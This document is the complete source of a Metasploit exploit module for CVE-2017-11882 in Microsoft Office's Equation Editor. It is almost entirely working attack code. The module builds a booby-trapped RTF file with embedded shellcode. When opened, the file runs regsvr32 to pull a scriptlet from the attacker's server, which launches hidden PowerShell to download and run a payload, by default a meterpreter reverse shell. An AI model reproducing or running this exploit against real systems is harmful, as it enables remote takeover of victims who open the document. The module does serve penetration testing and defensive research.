Microsoft Office Equation Editor Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::Powershell  
include Msf::Exploit::EXE  
include Msf::Exploit::FILEFORMAT  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Office CVE-2017-11882',  
'Description' => %q{  
Module exploits a flaw in how the Equation Editor that  
allows an attacker to execute arbitrary code in RTF files without  
interaction. The vulnerability is caused by the Equation Editor,  
to which fails to properly handle OLE objects in memory.  
},  
'Author' => ['mumbai', 'embedi'],  
'License' => MSF_LICENSE,  
'DisclosureDate' => 'Nov 15 2017',  
'References' => [  
['URL', 'https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'],  
['URL', 'https://github.com/embedi/CVE-2017-11882']  
],  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [  
['Microsoft Office', {} ],  
],  
'DefaultTarget' => 0,  
'Payload' => {  
'DisableNops' => true  
},  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'DefaultOptions' => {  
'EXITFUNC' => 'thread',  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'  
}  
))  
  
register_options([  
OptString.new("FILENAME", [true, "Filename to save as, or inject", "msf.rtf"]),  
OptString.new("FOLDER_PATH", [false, "Path to file to inject", nil])  
])  
end  
  
def retrieve_header(filename)  
if (not datastore['FOLDER_PATH'].nil?)  
path = "#{datastore['FOLDER_PATH']}/#{datastore['FILENAME']}"  
else  
path = nil  
end  
if (not path.nil?)  
if ::File.file?(path)  
File.open(path, 'rb') do |fd|  
header = fd.read(fd.stat.size).split('{\*\datastore').first  
header = header.to_s # otherwise I get nil class...  
print_status("Injecting #{path}...")  
return header  
end  
else  
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"  
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"  
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'  
end  
else  
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"  
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"  
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'  
end  
return header  
end  
  
  
  
def generate_rtf  
header = retrieve_header(datastore['FILENAME'])  
object_class = '{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata '  
object_class << '01050000020000000b0000004571756174696f6e2e33000000000000000000000'  
object_class << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'  
object_class << '09000600000000000000000000000100000001000000000000000010000002000'  
object_class << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040'  
object_class << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0'  
object_class << '07400720079000000000000000000000000000000000000000000000000000000'  
object_class << '00000000000000000000000000000000000016000500ffffffffffffffff02000'  
object_class << '00002ce020000000000c0000000000000460000000000000000000000008020ce'  
object_class << 'a5613cd30103000000000200000000000001004f006c006500000000000000000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '000000000000001400000000000000010043006f006d0070004f0062006a00000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '0000000000000000000000000000120002010100000003000000ffffffff00000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '0001000000660000000000000003004f0062006a0049006e0066006f000000000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '00000000000000000000000012000201ffffffff04000000ffffffff000000000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000003'  
object_class << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060'  
object_class << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'  
object_class << 'ffffff01000002080000000000000000000000000000000000000000000000000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000'  
object_class << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'  
object_class << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000'  
object_class << '00000000000000000000000000000000000000000000000000000000000000000'  
object_class << "00000300040000000000000000000000000000000000000000000000000000000"  
object_class << "000000000000000000000000000000000000000000000000000000000000000\n"  
  
  
shellcode = "\x1c\x00" # 0: 1c 00 sbb al,0x0  
shellcode << "\x00\x00" # 2: 00 00 add BYTE PTR [eax],al  
shellcode << "\x02\x00" # 4: 02 00 add al,BYTE PTR [eax]  
shellcode << "\x9e" # 6: 9e sahf  
shellcode << "\xc4\xa9\x00\x00\x00\x00" # 7: c4 a9 00 00 00 00 les ebp,FWORD PTR [ecx+0x0]  
shellcode << "\x00\x00" # d: 00 00 add BYTE PTR [eax],al  
shellcode << "\x00\xc8" # f: 00 c8 add al,cl  
shellcode << "\xa7" # 11: a7 cmps DWORD PTR ds:[esi],DWORD PTR es:[edi]  
shellcode << "\\" # 12: 5c pop esp  
shellcode << "\x00\xc4" # 13: 00 c4 add ah,al  
shellcode << "\xee" # 15: ee out dx,al  
shellcode << "[" # 16: 5b pop ebx  
shellcode << "\x00\x00" # 17: 00 00 add BYTE PTR [eax],al  
shellcode << "\x00\x00" # 19: 00 00 add BYTE PTR [eax],al  
shellcode << "\x00\x03" # 1b: 00 03 add BYTE PTR [ebx],al  
shellcode << "\x01\x01" # 1d: 01 01 add DWORD PTR [ecx],eax  
shellcode << "\x03\n" # 1f: 03 0a add ecx,DWORD PTR [edx]  
shellcode << "\n\x01" # 21: 0a 01 or al,BYTE PTR [ecx]  
shellcode << "\x08ZZ" # 23: 08 5a 5a or BYTE PTR [edx+0x5a],bl  
shellcode << "\xB8\x44\xEB\x71\x12" # 26: b8 44 eb 71 12 mov eax,0x1271eb44  
shellcode << "\xBA\x78\x56\x34\x12" # 2b: ba 78 56 34 12 mov edx,0x12345678  
shellcode << "\x31\xD0" # 30: 31 d0 xor eax,edx  
shellcode << "\x8B\x08" # 32: 8b 08 mov ecx,DWORD PTR [eax]  
shellcode << "\x8B\x09" # 34: 8b 09 mov ecx,DWORD PTR [ecx]  
shellcode << "\x8B\x09" # 36: 8b 09 mov ecx,DWORD PTR [ecx]  
shellcode << "\x66\x83\xC1\x3C" # 38: 66 83 c1 3c add cx,0x3c  
shellcode << "\x31\xDB" # 3c: 31 db xor ebx,ebx  
shellcode << "\x53" # 3e: 53 push ebx  
shellcode << "\x51" # 3f: 51 push ecx  
shellcode << "\xBE\x64\x3E\x72\x12" # 40: be 64 3e 72 12 mov esi,0x12723e64  
shellcode << "\x31\xD6" # 45: 31 d6 xor esi,edx  
shellcode << "\xFF\x16" # 47: ff 16 call DWORD PTR [esi]  
shellcode << "\x53" # 49: 53 push ebx  
shellcode << "\x66\x83\xEE\x4C" # 4a: 66 83 ee 4c sub si,0x4c  
shellcode << "\xFF\x10" # 4e: ff 10 call DWORD PTR [eax]  
shellcode << "\x90" # 50: 90 nop  
shellcode << "\x90" # 50: 90 nop  
  
footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'  
footer << '4500710075006100740069006F006E0020004E006100740069007600650000000'  
footer << '00000000000000000000000000000000000000000000000000000'  
footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000'  
footer << '00000000000000000000000000000000000000000000000000000000000000400'  
footer << '0000C5000000000000000000000000000000000000000000000000'  
footer << '0000000000000000000000000000000000000000000000000000000000000000'  
footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00'  
footer << '000000000000000000000000000000000000000000000000000000'  
footer << '0000000000000000000000000000000000000000000000000000000000000000'  
footer << '000000000000000000000000000000000000000000000000000000'  
footer << '0000000000000000000000000000000000000000000000000000000000FFFFFF'  
footer << 'FFFFFFFFFFFFFFFFFF000000000000000000000000000000000000'  
footer << '00000000000000000000000000000000000000000000000000000000000000000'  
footer << '00000000000000000000000000000000000000000000000000000'  
footer << '00000000000000000000000000000000000000000000000000000000000000000'  
footer << '0000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000'  
footer << '00000000000000000000000000000000000000000000000000000000000000000'  
footer << '00000000000000001050000050000000D0000004D45544146494C'  
footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C'  
footer << '500000002001C0000000000050000000902000000000500000002'  
footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF'  
footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090'  
footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016'  
footer << '0A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A00000031313131313131'  
footer << '3131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB02100007000000'  
footer << '0000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F00100'  
footer << '00030000000000' + "\n"  
footer << '}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260' + "\n"  
footer << "0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n"  
footer << "0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n"  
footer << "1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n"  
footer << "0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n"  
footer << "0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n"  
footer << "002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n"  
footer << "000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n"  
footer << "0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n"  
footer << "00000000\n"  
footer << "}}}\n"  
footer << '\par}' + "\n"  
  
  
payload = shellcode  
payload += [0x00402114].pack("V")  
payload += "\x00" * 2  
payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll"  
payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first  
payload = header + object_class + payload + footer  
payload  
end  
  
  
  
def gen_psh(url, *method)  
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl  
  
if method.include? 'string'  
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))  
else  
# Random filename to use, if there isn't anything set  
random = "#{rand_text_alphanumeric 8}.exe"  
# Set filename (Use random filename if empty)  
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']  
  
# Set path (Use %TEMP% if empty)  
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')  
  
# Join Path and Filename  
file = %Q(echo (#{path}+'\\#{filename}'))  
  
# Generate download PowerShell command  
download_string = Rex::Powershell::PshMethods.download_run(url, file)  
end  
  
download_and_run = "#{ignore_cert}#{download_string}"  
  
# Generate main PowerShell command  
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)  
end  
  
def on_request_uri(cli, _request)  
if _request.raw_uri =~ /\.sct$/  
print_status("Handling request for .sct from #{cli.peerhost}")  
payload = gen_psh("#{get_uri}", "string")  
data = gen_sct_file(payload)  
send_response(cli, data, 'Content-Type' => 'text/plain')  
else  
print_status("Delivering payload to #{cli.peerhost}...")  
p = regenerate_payload(cli)  
data = cmd_psh_payload(p.encoded,  
payload_instance.arch.first,  
remove_comspec: true,  
exec_in_place: true  
)  
send_response(cli, data, 'Content-Type' => 'application/octet-stream')  
end  
end  
  
  
def rand_class_id  
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"  
end  
  
  
def gen_sct_file(command)  
# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).  
if command == ''  
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}  
# If a command is provided, tell the target system to execute it.  
else  
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}  
end  
end  
  
  
def primer  
file_create(generate_rtf)  
end  
end  
`